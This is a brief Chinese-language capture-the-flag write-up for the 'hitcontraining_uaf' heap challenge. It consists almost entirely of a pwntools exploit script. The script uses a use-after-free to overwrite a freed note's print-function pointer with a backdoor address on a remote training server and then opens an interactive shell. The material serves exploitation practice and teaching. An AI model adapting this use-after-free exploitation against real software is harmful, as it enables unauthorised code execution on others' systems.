pwn | hitcontraining_uaf
凭自己理解打通的堆题,很爽。
uaf ret2text
exp:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
# p = process('./hacknote')
p = remote('node4.buuoj.cn', 27260)
p_backdoor = 0x08048945
# alloc 0
p.recvuntil('choice :')
p.sendline('1')
p.recvuntil('size :')
p.sendline('128')
p.recvuntil('Content :')
p.sendline('00000000')
# alloc 1
p.recvuntil('choice :')
p.sendline('1')
p.recvuntil('size :')
p.sendline('128')
p.recvuntil('Content :')
p.sendline('11111111')
# free 1
p.recvuntil('choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline('1')
p.recvuntil('Success')
# free 0
p.recvuntil('choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline('0')
p.recvuntil('Success')
# alloc 2
p.recvuntil('choice :')
p.sendline('1')
p.recvuntil('size :')
p.sendline('8') # fastbin
p.recvuntil('Content :')
p.sendline(p32(p_backdoor))
# call print
p.recvuntil('choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline('1')
p.interactive()